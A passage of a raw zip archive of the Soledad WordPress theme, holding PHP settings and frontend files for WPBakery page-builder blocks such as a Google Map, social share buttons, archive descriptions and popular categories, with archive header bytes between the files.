			'group'      => $group_color,
			'dependency' => array( 'element' => 'use_custom_typo', 'value' => 'yes' ),
		),
		array(
			'type'       => 'penci_responsive_sizes',
			'param_name' => 'main_text_size',
			'heading'    => __( 'Font Size', 'soledad' ),
			'suffix'     => 'px',
			'group'      => $group_color,
			'min'        => 1,
		),
	), Penci_Vc_Params_Helper::extra_params() )
) );
PK     N\¤    >  inc/js_composer/shortcodes/pc_archive_description/frontend.phpnu [        <?php
$settings  = vc_map_get_attributes( $this->getShortcode(), $atts );
$block_id  = Penci_Vc_Helper::get_unique_id_block( 'pc_archive_description' );
$css_class = vc_shortcode_custom_css_class( $settings['css'] );
if ( is_tag() && tag_description() ) {
	echo '<div id="' . $block_id . '" class="' . $css_class . ' penci-archive-description penci-tag-description">' . do_shortcode( tag_description() ) . '</div>';
} elseif ( is_category() && category_description() ) {
	echo '<div id="' . $block_id . '" class="' . $css_class . ' penci-archive-description penci-category-description">' . do_shortcode( category_description() ) . '</div>';
} elseif ( is_archive() ) {
	the_archive_description( '<div id="' . $block_id . '" class="' . $css_class . ' post-entry penci-category-description penci-archive-description penci-acdes-below">', '</div>' );
}
$css_custom = '';
$block_id = '#'.$block_id;
if ( $settings['text_align'] ) {
	$css_custom .= $block_id . ' .penci-category-description.post-entry{text-align:' . $settings['text_align'] . '}';
}
if ( $settings['text_color'] ) {
	$css_custom .= $block_id . ' .penci-category-description.post-entry{color:' . $settings['text_color'] . '}';
}
if ( $settings['text_lcolor'] ) {
	$css_custom .= $block_id . ' .penci-category-description.post-entry a{color:' . $settings['text_lcolor'] . '}';
}
if ( $settings['text_lhcolor'] ) {
	$css_custom .= $block_id . ' .penci-category-description.post-entry a:hover{color:' . $settings['text_lhcolor'] . '}';
}
if ( $settings['responsive_spacing'] ) {
	$css_custom .= penci_extract_spacing_style( $block_id, $settings['responsive_spacing'] );
}
$css_custom .= Penci_Vc_Helper::vc_google_fonts_parse_attributes( array(
	'font_size'  => $settings['main_text_size'],
	'font_style' => $settings['main_text_font'],
	'template'   => $block_id . '  .penci-category-description.post-entry{ %s }',
) );
if ( $css_custom ) {
	echo '<style>';
	echo $css_custom;
	echo '</style>';
}
PK     N\##h  h  2  inc/js_composer/shortcodes/google_map/settings.phpnu [        <?php
$group_icon  = 'Icon';
$group_color = 'Typo & Color';

vc_map( array(
	'base'          => "penci_google_map",
	'icon'          => PENCI_SOLEDAD_URL . '/images/vc-icon.png',
	'category'      => penci_get_theme_name( 'Soledad' ),
	'html_template' => PENCI_SOLEDAD_DIR . '/inc/js_composer/shortcodes/google_map/frontend.php',
	'weight'        => 775,
	'name'          => penci_get_theme_name( 'Penci' ) . ' ' . esc_html__( 'Google Map', 'soledad' ),
	'description'   => 'Map Block',
	'controls'      => 'full',
	'params'        => array(
		array(
			'type'       => 'dropdown',
			'heading'    => esc_html__( 'Insert Map Using', 'soledad' ),
			'param_name' => 'map_using',
			'value'      => array(
				esc_html__( 'Address', 'soledad' )     => 'address',
				esc_html__( 'Coordinates', 'soledad' ) => 'coordinates',
			)
		),
		array(
			'type'        => 'textfield',
			'heading'     => esc_html__( 'Address', 'soledad' ),
			'param_name'  => 'address',
			'admin_label' => true,
			'dependency'  => array(
				'element' => 'map_using',
				'value'   => 'address'
			)
		),
		array(
			'type'        => 'textfield',
			'heading'     => esc_html__( 'Latitude', 'soledad' ),
			'param_name'  => 'latitude',
			'admin_label' => true,
			'dependency'  => array(
				'element' => 'map_using',
				'value'   => 'coordinates'
			)
		),
		array(
			'type'        => 'textfield',
			'heading'     => esc_html__( 'Longtitude', 'soledad' ),
			'param_name'  => 'longtitude',
			'admin_label' => true,
			'dependency'  => array(
				'element' => 'map_using',
				'value'   => 'coordinates'
			)
		),
		array(
			'type'       => 'dropdown',
			'heading'    => esc_html__( 'Map type', 'soledad' ),
			'param_name' => 'map_type',
			'value'      => array(
				esc_html__( 'Road', 'soledad' )      => 'road',
				esc_html__( 'Satellite', 'soledad' ) => 'satellite',
				esc_html__( 'Hybrid', 'soledad' )    => 'hybrid',
				esc_html__( 'Terrain', 'soledad' )   => 'terrain',
				esc_html__( 'Custom', 'soledad' )    => 'custom',
			)
		),
		array(
			'type'             => 'penci_responsive_sizes',
			'heading'          => esc_html__( 'Width', 'soledad' ),
			'param_name'       => 'map_width',
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'             => 'penci_responsive_sizes',
			'heading'          => esc_html__( 'Height', 'soledad' ),
			'param_name'       => 'map_height',
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'       => 'attach_image',
			'heading'    => esc_html__( 'Marker Image', 'soledad' ),
			'param_name' => 'marker_img',
		),
		array(
			'type'        => 'textfield',
			'heading'     => esc_html__( 'Marker Title', 'soledad' ),
			'param_name'  => 'marker_title',
			'admin_label' => true,
		),
		array(
			'type'        => 'exploded_textarea_safe',
			'heading'     => esc_html__( 'Info Window', 'soledad' ),
			'param_name'  => 'info_window',
			'description' => ''
		),
		array(
			'type'             => 'penci_switch',
			'heading'          => esc_html__( 'Zoom', 'soledad' ),
			'param_name'       => 'map_is_zoom',
			'edit_field_class' => 'vc_col-sm-4',
			'true_state'       => 'yes',
			'false_state'      => 'no',
			'default'          => 'no',
			'std'              => 'no',
		),
		array(
			'type'             => 'penci_switch',
			'heading'          => esc_html__( 'Pan', 'soledad' ),
			'param_name'       => 'map_pan',
			'edit_field_class' => 'vc_col-sm-4',
			'true_state'       => 'yes',
			'false_state'      => 'no',
			'default'          => 'no',
			'std'              => 'no',
		),
		array(
			'type'             => 'penci_switch',
			'heading'          => esc_html__( 'Map scale', 'soledad' ),
			'param_name'       => 'map_scale',
			'true_state'       => 'yes',
			'false_state'      => 'no',
			'default'          => 'no',
			'std'              => 'no',
			'edit_field_class' => 'vc_col-sm-4',
		),
		array(
			'type'             => 'penci_switch',
			'heading'          => esc_html__( 'Street view', 'soledad' ),
			'param_name'       => 'map_street_view',
			'edit_field_class' => 'vc_col-sm-4',
			'true_state'       => 'yes',
			'false_state'      => 'no',
			'default'          => 'no',
			'std'              => 'no',
		),
		array(
			'type'             => 'penci_switch',
			'heading'          => esc_html__( 'Rotate', 'soledad' ),
			'param_name'       => 'map_rotate',
			'edit_field_class' => 'vc_col-sm-4',
			'true_state'       => 'yes',
			'false_state'      => 'no',
			'default'          => 'no',
			'std'              => 'no',
		),
		array(
			'type'             => 'penci_switch',
			'heading'          => esc_html__( 'Overview map', 'soledad' ),
			'param_name'       => 'map_overview',
			'edit_field_class' => 'vc_col-sm-4',
			'true_state'       => 'yes',
			'false_state'      => 'no',
			'default'          => 'no',
			'std'              => 'no',
		),
		array(
			'type'       => 'dropdown',
			'heading'    => esc_html__( 'Zoom', 'soledad' ),
			'param_name' => 'map_zoom',
			'value'      => array(
				6  => 6,
				7  => 7,
				8  => 8,
				9  => 9,
				10 => 10,
				11 => 11,
				12 => 12,
				13 => 13,
				14 => 14,
				15 => 15,
				16 => 16,
			),
			'std'        => '8',
		),
		array(
			'type'        => 'penci_switch',
			'heading'     => esc_html__( 'Scrollwheel', 'soledad' ),
			'param_name'  => 'map_scrollwheel',
			'true_state'  => 'yes',
			'false_state' => 'no',
			'default'          => 'no',
			'std'              => 'no',
		),

		vc_map_add_css_animation(),

		array(
			'type'        => 'textfield',
			'heading'     => esc_html__( 'Extra class name', 'soledad' ),
			'param_name'  => 'el_class',
			'description' => esc_html__( 'Style particular content element differently - add a class name and refer to it in custom CSS.', 'soledad' ),
		),
		array(
			'type'       => 'css_editor',
			'heading'    => __( 'CSS box', 'soledad' ),
			'param_name' => 'css',
			'group'      => __( 'Design Options', 'soledad' ),
		),
		penci_get_vc_responsive_spacing_map(),
	)
) );
PK     N\Y`    2  inc/js_composer/shortcodes/google_map/frontend.phpnu [        <?php
/**
 * Shortcode attributes
 * @var $atts
 * @var $map_width
 * @var $map_height
 * @var $map_zoom
 * @var $marker_img
 * @var $css_animation
 * @var $el_class
 * @var $css
 */

$map_width = $map_height = $map_zoom = $marker_img = '';
$el_class  = $css_animation = $css = '';

$atts = vc_map_get_attributes( $this->getShortcode(), $atts );
extract( $atts );

$class_to_filter = '';
$class_to_filter .= vc_shortcode_custom_css_class( $css, ' ' ) . $this->getExtraClass( $el_class ) . $this->getCSSAnimation( $css_animation );

$css_class = 'penci-block-vc penci-google-map';
$css_class .= ' ' . apply_filters( VC_SHORTCODE_CUSTOM_CSS_FILTER_TAG, $class_to_filter, $this->settings['base'], $atts );

$width  = intval( $map_width ) ? $map_width : '100%';
$height = intval( $map_height ) ? $map_height : '500px';

$atts['map_zoom']   = intval( $map_zoom ? $map_zoom : 8 );
$atts['marker_img'] = wp_get_attachment_url( $marker_img );

$block_id = Penci_Vc_Helper::get_unique_id_block( 'map' );
$option   = htmlentities( json_encode( $atts ), ENT_QUOTES, "UTF-8" );

printf( '<div style="width:%s;height:%s" id="%s" class="%s" data-map_options="%s"></div>', $width, $height, $block_id, $css_class, $option );
PK     N\1pp  p  7  inc/js_composer/shortcodes/pc_single_share/settings.phpnu [        <?php
$group_icon  = 'Icon';
$group_color = 'Typo & Color';

vc_map( array(
	'base'          => "pc_single_share",
	'icon'          => PENCI_SOLEDAD_URL . '/images/vc-icon.png',
	'category'      => penci_get_theme_name( 'Post Builder' ),
	'html_template' => PENCI_SOLEDAD_DIR . '/inc/js_composer/shortcodes/pc_single_share/frontend.php',
	'weight'        => 910,
	'name'          => penci_get_theme_name( 'Penci' ) . ' ' . esc_html__( 'Post Builder - Social Share', 'soledad' ),
	'description'   => 'Post Builder - Social Share',
	'controls'      => 'full',
	'params'        => array_merge( array(
		array(
			'type'             => 'dropdown',
			'heading'          => esc_html__( 'Share Style', 'soledad' ),
			'param_name'       => 'penci_single_style_cscount',
			'value'            => array(
				'Style 1'  => 's1',
				'Style 2'  => 's2',
				'Style 3'  => 's3',
				'Style 4'  => 'n1',
				'Style 5'  => 'n2',
				'Style 6'  => 'n3',
				'Style 7'  => 'n4',
				'Style 8'  => 'n5',
				'Style 9'  => 'n6',
				'Style 10' => 'n7',
				'Style 11' => 'n8',
				'Style 12' => 'n9',
				'Style 13' => 'n10',
				'Style 14' => 'n11',
				'Style 15' => 'n12',
				'Style 16' => 'n13',
				'Style 17' => 'n14',
				'Style 18' => 'n15',
				'Style 19' => 'n16',
				'Style 20' => 'n17',
				'Style 21' => 'n18',
				'Style 22' => 'n19',
				'Style 23' => 'n20',
			),
			'edit_field_class' => 'vc_col-sm-6'
		),
		array(
			'type'             => 'penci_switch',
			'heading'          => esc_html__( 'Hide Comment?', 'soledad' ),
			'param_name'       => 'penci_single_meta_comment',
			'edit_field_class' => 'vc_col-sm-6'
		),
		array(
			'type'             => 'penci_switch',
			'heading'          => esc_html__( 'Hide Label?', 'soledad' ),
			'param_name'       => 'penci_single_share_label',
			'edit_field_class' => 'vc_col-sm-6'
		),
		array(
			'type'             => 'penci_switch',
			'heading'          => esc_html__( 'Hide Post Like?', 'soledad' ),
			'param_name'       => 'penci__hide_share_plike',
			'edit_field_class' => 'vc_col-sm-6'
		),
		array(
			'type'             => 'dropdown',
			'heading'          => esc_html__( 'Social Align', 'soledad' ),
			'param_name'       => 'meta_align',
			'value'            => array(
				esc_html__( 'Center', 'soledad' ) => 'center',
				esc_html__( 'Left', 'soledad' )   => 'left',
				esc_html__( 'Right', 'soledad' )  => 'right',
			),
			'edit_field_class' => 'vc_col-sm-6'
		),
	), array(
		array(
			'type'             => 'colorpicker',
			'heading'          => esc_html__( 'Comment Text Color', 'soledad' ),
			'param_name'       => 'comment_text_color',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'             => 'colorpicker',
			'heading'          => esc_html__( 'Label Color', 'soledad' ),
			'param_name'       => 'label_color',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'             => 'colorpicker',
			'heading'          => esc_html__( 'Label Icon Color', 'soledad' ),
			'param_name'       => 'label_icolor',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'             => 'colorpicker',
			'heading'          => esc_html__( 'Label Borders Color', 'soledad' ),
			'param_name'       => 'label_bdcolor',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'             => 'colorpicker',
			'heading'          => esc_html__( 'Label Label Background Color', 'soledad' ),
			'param_name'       => 'label_bgcolor',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'             => 'colorpicker',
			'heading'          => esc_html__( 'Like Button Color', 'soledad' ),
			'param_name'       => 'likebtn_color',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'             => 'colorpicker',
			'heading'          => esc_html__( 'Like Button Borders Color', 'soledad' ),
			'param_name'       => 'likebtn_bcolor',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'             => 'colorpicker',
			'heading'          => esc_html__( 'Social Background Color', 'soledad' ),
			'param_name'       => 'social_bgcolor',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'             => 'colorpicker',
			'heading'          => esc_html__( 'Social Hover Background Color', 'soledad' ),
			'param_name'       => 'social_bghcolor',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'             => 'colorpicker',
			'heading'          => esc_html__( 'Social Color', 'soledad' ),
			'param_name'       => 'social_color',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'             => 'colorpicker',
			'heading'          => esc_html__( 'Social Hover Color', 'soledad' ),
			'param_name'       => 'social_hcolor',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'             => 'colorpicker',
			'heading'          => esc_html__( 'Social Borders Color', 'soledad' ),
			'param_name'       => 'social_bcolor',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'             => 'colorpicker',
			'heading'          => esc_html__( 'Social Hover Borders Color', 'soledad' ),
			'param_name'       => 'social_bhcolor',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'             => 'colorpicker',
			'heading'          => esc_html__( 'Plus Button Color', 'soledad' ),
			'param_name'       => 'plus_btn_color',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'             => 'colorpicker',
			'heading'          => esc_html__( 'Plus Button Hover Color', 'soledad' ),
			'param_name'       => 'plus_btn_hcolor',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'             => 'colorpicker',
			'heading'          => esc_html__( 'Plus Button Background Color', 'soledad' ),
			'param_name'       => 'plus_btn_bgcolor',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'             => 'colorpicker',
			'heading'          => esc_html__( 'Plus Button Background Hover Color', 'soledad' ),
			'param_name'       => 'plus_btn_bghcolor',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
	), Penci_Vc_Params_Helper::extra_params() )
) );
PK     N\t;.]%  %  7  inc/js_composer/shortcodes/pc_single_share/frontend.phpnu [        <?php
$settings         = vc_map_get_attributes( $this->getShortcode(), $atts );
$block_id         = Penci_Vc_Helper::get_unique_id_block( 'pc_single_share' );
$css_custom       = '';
$style_cscount    = $settings['penci_single_style_cscount'];
$wrapper_class    = array();
$wrapper_class[]  = 'tags-share-box';
$wrapper_class[]  = is_page() ? 'page-share hide-tags' : 'single-post-share';
$wrapper_class[]  = 'tags-share-box-' . $style_cscount;
$wrapper_class_c1 = 's1' == $style_cscount ? ' center-box' : ' tags-share-box-2_3';
$wrapper_class[]  = strpos( $style_cscount, 'n' ) !== false ? ' pcnew-share' : $wrapper_class_c1;

if ( in_array( $style_cscount, [ 'n1', 'n3', 'n5', 'n8', 'n9', 'n10', 'n11', 'n12', 'n13', 'n19', 'n20' ] ) ) {
	$wrapper_class[] = ' penci-social-colored';
}

if ( in_array( $style_cscount, [
	'n1',
	'n3',
	'n5',
	'n8',
	'n9',
	'n10',
	'n11',
	'n12',
	'n13',
	'n14',
	'n16',
	'n19',
	'n20'
] ) ) {
	$wrapper_class[] = ' penci-icon-full';
}

if ( in_array( $style_cscount, [ 'n2', 'n4', 'n6', 'n7', 'n9', 'n11', 'n13' ] ) ) {
	$wrapper_class[] = ' tags-share-box-s2';
}

if ( in_array( $style_cscount, [
	'n2',
	'n4',
	'n6',
	'n7',
	'n9',
	'n11',
	'n13',
	'n15',
	'n17',
	'n18',
	'n19',
	'n20'
] ) ) {
	$wrapper_class[] = ' show-txt';
}

if ( in_array( $style_cscount, [ 'n3', 'n4', 'n18' ] ) ) {
	$wrapper_class[] = ' rounder';
}

if ( in_array( $style_cscount, [ 'n5', 'n6', 'n10', 'n11' ] ) ) {
	$wrapper_class[] = ' show-shadow';
}

if ( in_array( $style_cscount, [ 'n7' ] ) ) {
	$wrapper_class[] = ' focus-icon';
}

if ( in_array( $style_cscount, [ 'n8', 'n9', 'n10', 'n11', 'n12', 'n13' ] ) ) {
	$wrapper_class[] = ' size-large';
}

if ( in_array( $style_cscount, [ 'n9', 'n11', 'n13' ] ) ) {
	$wrapper_class[] = ' txt-below';
}

if ( in_array( $style_cscount, [ 'n12', 'n13' ] ) ) {
	$wrapper_class[] = ' no-spacing';
}

if ( in_array( $style_cscount, [ 'n14', 'n15' ] ) ) {
	$wrapper_class[] = ' black-ver';
}

if ( in_array( $style_cscount, [ 'n16', 'n17', 'n18', 'n19', 'n20' ] ) ) {
	$wrapper_class[] = ' border-style';
}

if ( in_array( $style_cscount, [ 'n16', 'n17', 'n18' ] ) ) {
	$wrapper_class[] = ' penci-social-textcolored';
}

if ( in_array( $style_cscount, [ 'n19', 'n20' ] ) ) {
	$wrapper_class[] = ' full-border';
}
$css_class       = vc_shortcode_custom_css_class( $settings['css'] );
$wrapper_class[] = ' ' . $css_class;

?>
    <div id="<?php echo $block_id; ?>"
         class="pcsb-share <?php echo esc_attr( implode( ' ', $wrapper_class ) ); ?> post-share<?php if ( $settings['penci__hide_share_plike'] ): echo ' hide-like-count'; endif; ?>">
		<?php
		if ( 's1' != $style_cscount ) {
			echo '<span class="penci-social-share-text">';
			echo '<i class="penciicon-sharing"></i>';
			echo penci_get_setting( 'penci_trans_share' ) ? do_shortcode( penci_get_setting( 'penci_trans_share' ) ) : 'Share';
			echo '</span>';
		}
		?>
		<?php if ( ! $settings['penci_single_meta_comment'] && 's1' == $style_cscount && ! is_page() ) : ?>
            <span class="single-comment-o"><?php penci_fawesome_icon( 'far fa-comment' ); ?><?php comments_number( '0 ' . penci_get_setting( 'penci_trans_comments' ), '1 ' . penci_get_setting( 'penci_trans_comment' ), '% ' . penci_get_setting( 'penci_trans_comments' ) ); ?></span>
		<?php endif; ?>

		<?php if ( ! $settings['penci__hide_share_plike'] && ! is_page() ): ?>
            <span class="post-share-item post-share-plike">
		            <?php echo penci_single_getPostLikeLink( get_the_ID() ); ?>
                    </span>
		<?php endif; ?>
		<?php penci_soledad_social_share(); ?>
    </div>
<?php
$css = [
	'penci_single_share_label' => [ '{{WRAPPER}} .penci-social-share-text' => 'display:none !important' ],
	'meta_align'               => [ '{{WRAPPER}} .tags-share-box' => 'text-align:{{VALUE}}' ],
	'comment_text_color'       => [
		'{{WRAPPER}} .single-comment-o'                       => 'color:{{VALUE}}',
		'{{WRAPPER}} .tags-share-box .single-comment-o:after' => 'background-color:{{VALUE}};opacity: 0.5;'
	],
	'label_color'              => [ '{{WRAPPER}} .pcnew-share .penci-social-share-text,{{WRAPPER}} .tags-share-box.tags-share-box-2_3 .penci-social-share-text' => 'color:{{VALUE}}' ],
	'label_icolor'             => [ '{{WRAPPER}} .pcnew-share .penci-social-share-text i,{{WRAPPER}} .tags-share-box.tags-share-box-2_3 .penci-social-share-text i' => 'color:{{VALUE}}' ],
	'label_bdcolor'            => [
		'{{WRAPPER}} .pcnew-share .penci-social-share-text'                 => 'border-color:{{VALUE}}',
		'{{WRAPPER}} .pcnew-share .penci-social-share-text:before'          => 'border-left-color:{{VALUE}}',
		'body.rtl {{WRAPPER}} .pcnew-share .penci-social-share-text:before' => 'border-left-color:transparent;border-right-color:{{VALUE}}',
	],
	'label_bgcolor'            => [
		'{{WRAPPER}} .pcnew-share .penci-social-share-text'                => 'background-color:{{VALUE}}',
		'{{WRAPPER}} .pcnew-share .penci-social-share-text:after'          => 'border-left-color:{{VALUE}};',
		'body.rtl {{WRAPPER}} .pcnew-share .penci-social-share-text:after' => 'border-right-color:{{VALUE}};',
	],
	'likebtn_bgcolor'          => [ '{{WRAPPER}} .tags-share-box.tags-share-box-2_3 .post-share-plike,{{WRAPPER}} .tags-share-box-n19.post-share a.penci-post-like,{{WRAPPER}} .tags-share-box-n20.post-share a.penci-post-like,{{WRAPPER}} .tags-share-box.tags-share-box-s2 .post-share-plike,{{WRAPPER}} .pcnew-share .post-share-item.post-share-plike' => 'background-color:{{VALUE}}' ],
	'likebtn_color'            => [ '{{WRAPPER}} .black-ver .post-share-plike i,{{WRAPPER}} .post-share.tags-share-box-2_3.post-share .count-number-like,{{WRAPPER}} .tags-share-box.tags-share-box-2_3.post-share .post-share-item .penci-post-like,{{WRAPPER}} .pcnew-share.penci-icon-full .post-share-item.post-share-plike i,{{WRAPPER}} .tags-share-box-n19.pcnew-share.border-style .post-share-item.post-share-plike i, {{WRAPPER}} .tags-share-box-n20.pcnew-share.border-style .post-share-item.post-share-plike i, {{WRAPPER}} .tags-share-box-n20 .post-share-item.post-share-plike i,{{WRAPPER}} .penci-social-textcolored .post-share-plike i.fa-heart-o, {{WRAPPER}} .tags-share-box.tags-share-box-s2 .post-share-plike .count-number-like,{{WRAPPER}} .tags-share-box.tags-share-box-s2 .post-share-plike .penci-post-like,{{WRAPPER}} .pcnew-share .post-share-item.post-share-plike .count-number-like,{{WRAPPER}} .pcnew-share .post-share-item.post-share-plike .penci-post-like' => 'color:{{VALUE}} !important' ],
	'likebtn_bcolor'           => [ '{{WRAPPER}} .tags-share-box.tags-share-box-s2 .post-share-plike,{{WRAPPER}} .pcnew-share .post-share-item.post-share-plike' => 'border-color:{{VALUE}}' ],
	'social_bgcolor'           => [ '{{WRAPPER}} a.post-share-item,{{WRAPPER}} .black-ver .post-share-item,{{WRAPPER}} .black-ver .post-share-item i' => 'background-color:{{VALUE}}' ],
	'social_bghcolor'          => [ '{{WRAPPER}} a.post-share-item:hover,{{WRAPPER}} .black-ver .post-share-item:hover,{{WRAPPER}} .black-ver .post-share-item:hover i' => 'background-color:{{VALUE}}' ],
	'social_color'             => [ '{{WRAPPER}} a.post-share-item,{{WRAPPER}} .black-ver .post-share-item i,{{WRAPPER}} .show-txt.post-share a .dt-share' => 'color:{{VALUE}}' ],
	'social_hcolor'            => [ '{{WRAPPER}} a.post-share-item:hover,{{WRAPPER}} .black-ver .post-share-item:hover i,{{WRAPPER}} .show-txt.post-share a:hover .dt-share' => 'color:{{VALUE}}' ],
	'social_bcolor'            => [ '{{WRAPPER}} a.post-share-item,{{WRAPPER}} .pcnew-share.penci-icon-full.border-style .post-share-item i' => 'border-color:{{VALUE}}' ],
	'social_bhcolor'           => [ '{{WRAPPER}} a.post-share-item:hover,{{WRAPPER}} .pcnew-share.penci-icon-full.border-style .post-share-item:hover i' => 'border-color:{{VALUE}}' ],
	'plus_btn_color'           => [ '{{WRAPPER}} a.post-share-expand,{{WRAPPER}} .black-ver .post-share-expand i,{{WRAPPER}} .tags-share-box.tags-share-box-2_3 .post-share-expand,{{WRAPPER}} .penci-social-colored .post-share-item.post-share-expand i, {{WRAPPER}} .tags-share-box.tags-share-box-s2 .post-share-item.post-share-expand i' => 'color:{{VALUE}} !important' ],
	'plus_btn_hcolor'          => [ '{{WRAPPER}} a.post-share-expand:hover,{{WRAPPER}} .black-ver .post-share-expand:hover i,{{WRAPPER}} .tags-share-box.tags-share-box-2_3 .post-share-expand:hover,{{WRAPPER}} .penci-social-colored .post-share-item.post-share-expand:hover i, {{WRAPPER}} .tags-share-box.tags-share-box-s2 .post-share-item.post-share-expand:hover i' => 'color:{{VALUE}} !important' ],
	'plus_btn_bgcolor'         => [ '{{WRAPPER}} a.post-share-expand,{{WRAPPER}} .black-ver .post-share-expand,{{WRAPPER}} .black-ver .post-share-expand i,{{WRAPPER}} .tags-share-box.tags-share-box-2_3 .post-share-expand,{{WRAPPER}} .penci-social-colored .post-share-item.post-share-expand i, {{WRAPPER}} .tags-share-box.tags-share-box-s2 .post-share-item.post-share-expand' => 'background-color:{{VALUE}} !important' ],
	'plus_btn_bghcolor'        => [ '{{WRAPPER}} a.post-share-expand:hover,{{WRAPPER}} .black-ver .post-share-expand:hover,{{WRAPPER}} .black-ver .post-share-expand:hover i,{{WRAPPER}} .tags-share-box.tags-share-box-2_3 .post-share-expand:hover,{{WRAPPER}} .penci-social-colored .post-share-item.post-share-expand:hover i, {{WRAPPER}} .tags-share-box.tags-share-box-s2 .post-share-item.post-share-expand:hover' => 'background-color:{{VALUE}} !important' ],
];
penci_wpbakery_el_extract_css( $css, $settings, '#' . $block_id );
PK     N\m    4  inc/js_composer/shortcodes/column_inner/settings.phpnu [        <?php
vc_map( array(
	'base'                      => 'penci_column_inner',
	'icon'                      => PENCI_SOLEDAD_URL . '/images/vc-icon.png',
	'category'                  => 'Soledad',
	'html_template'             => PENCI_SOLEDAD_DIR . '/inc/js_composer/shortcodes/penci_column_inner/frontend.php',
	'name'                      => __( 'Column Inner', 'soledad' ),
	'class'                     => '',
	'wrapper_class'             => '',
	'controls'                  => 'full',
	'allowed_container_element' => false,
	'content_element'           => false,
	'is_container'              => true,
	'as_child'                  => array( 'only' => 'penci_container_inner' ),
	'params'                    => array(
		array(
			'type'       => 'hidden',
			'param_name' => 'width',
		),
		array(
			'type'       => 'hidden',
			'param_name' => 'class_layout',
		),
	),
	'js_view'                   => 'VcColumnView',
) );PK     N\Å     4  inc/js_composer/shortcodes/column_inner/frontend.phpnu [        <?php
if ( ! defined( 'ABSPATH' ) ) {
	die( '-1' );
}

/**
 * Shortcode attributes
 * @var $atts
 * @var $el_class
 * @var $css
 * @var $el_id
 * @var $equal_height
 * @var $content_placement
 * @var $content - shortcode content
 * Shortcode class
 * @var WPBakeryShortCode_Vc_Row_Inner $this
 */
$el_class = $equal_height = $content_placement = $css = $el_id = '';
$disable_element = '';
$output = $after_output = '';
$atts = vc_map_get_attributes( $this->getShortcode(), $atts );
extract( $atts );

$el_class = $this->getExtraClass( $el_class );
$css_classes = array(
	'vc_row',
	'wpb_row',
	// deprecated
	'vc_inner',
	'vc_row-fluid',
	$el_class,
	vc_shortcode_custom_css_class( $css ),
);
if ( 'yes' === $disable_element ) {
	if ( vc_is_page_editable() ) {
		$css_classes[] = 'vc_hidden-lg vc_hidden-xs vc_hidden-sm vc_hidden-md';
	} else {
		return '';
	}
}

if ( vc_shortcode_custom_css_has_property( $css, array(
	'border',
	'background',
) ) ) {
	$css_classes[] = 'vc_row-has-fill';
}

if ( ! empty( $atts['gap'] ) ) {
	$css_classes[] = 'vc_column-gap-' . $atts['gap'];
}

if ( ! empty( $equal_height ) ) {
	$flex_row = true;
	$css_classes[] = 'vc_row-o-equal-height';
}

if ( ! empty( $atts['rtl_reverse'] ) ) {
	$css_classes[] = 'vc_rtl-columns-reverse';
}

if ( ! empty( $content_placement ) ) {
	$flex_row = true;
	$css_classes[] = 'vc_row-o-content-' . $content_placement;
}

if ( ! empty( $flex_row ) ) {
	$css_classes[] = 'vc_row-flex';
}

$wrapper_attributes = array();
// build attributes for wrapper
if ( ! empty( $el_id ) ) {
	$wrapper_attributes[] = 'id="' . esc_attr( $el_id ) . '"';
}

$css_class = preg_replace( '/\s+/', ' ', apply_filters( VC_SHORTCODE_CUSTOM_CSS_FILTER_TAG, implode( ' ', array_filter( array_unique( $css_classes ) ) ), $this->settings['base'], $atts ) );
$wrapper_attributes[] = 'class="' . esc_attr( trim( $css_class ) ) . '"';

$output .= '<div ' . implode( ' ', $wrapper_attributes ) . '>';
$output .= wpb_js_remove_wpautop( $content );
$output .= '</div>';
$output .= $after_output;

// @codingStandardsIgnoreLine
echo $output;
PK     N\\R  R  3  inc/js_composer/shortcodes/popular_cat/settings.phpnu [        <?php
$group_color   = 'Typo & Color';

$params_heading           = Penci_Vc_Params_Helper::params_heading();
$extra_params             = Penci_Vc_Params_Helper::extra_params();
$param_heading_typo_color = Penci_Vc_Params_Helper::params_heading_typo_color();

$main_params = array(
	array(
		'type'       => 'textfield',
		'heading'    => esc_html__( 'Amount', 'soledad' ),
		'param_name' => 'plimit',
		'std'        => '10',
	),
	array(
		'type'       => 'dropdown',
		'heading'    => __( 'Categories type', 'soledad' ),
		'param_name' => 'pcat_type',
		'value'      => array(
			__( 'Popular categories by number posts', 'soledad' )   => 'default',
			__( 'Popular categories sort by name A->Z', 'soledad' ) => 'alphabetical_order',
		),
		'std'        => 'default',
	),
	array(
		'type'             => 'penci_switch',
		'heading'          => esc_html__( 'Show posts count', 'soledad' ),
		'param_name'       => 'pcount',
		'edit_field_class' => 'vc_col-sm-6',
		'true_state'       => 'yes',
		'false_state'      => 'no',
		'default'          => 'no',
		'std'              => 'no',
	),
	array(
		'type'             => 'penci_switch',
		'heading'          => esc_html__( 'Show hierarchy', 'soledad' ),
		'param_name'       => 'phierarchical',
		'edit_field_class' => 'vc_col-sm-6',
		'true_state'       => 'yes',
		'false_state'      => 'no',
		'default'          => 'no',
		'std'              => 'no',
	),
	array(
		'type'             => 'penci_switch',
		'heading'          => esc_html__( 'Hide Uncategorized category', 'soledad' ),
		'param_name'       => 'phide_uncat',
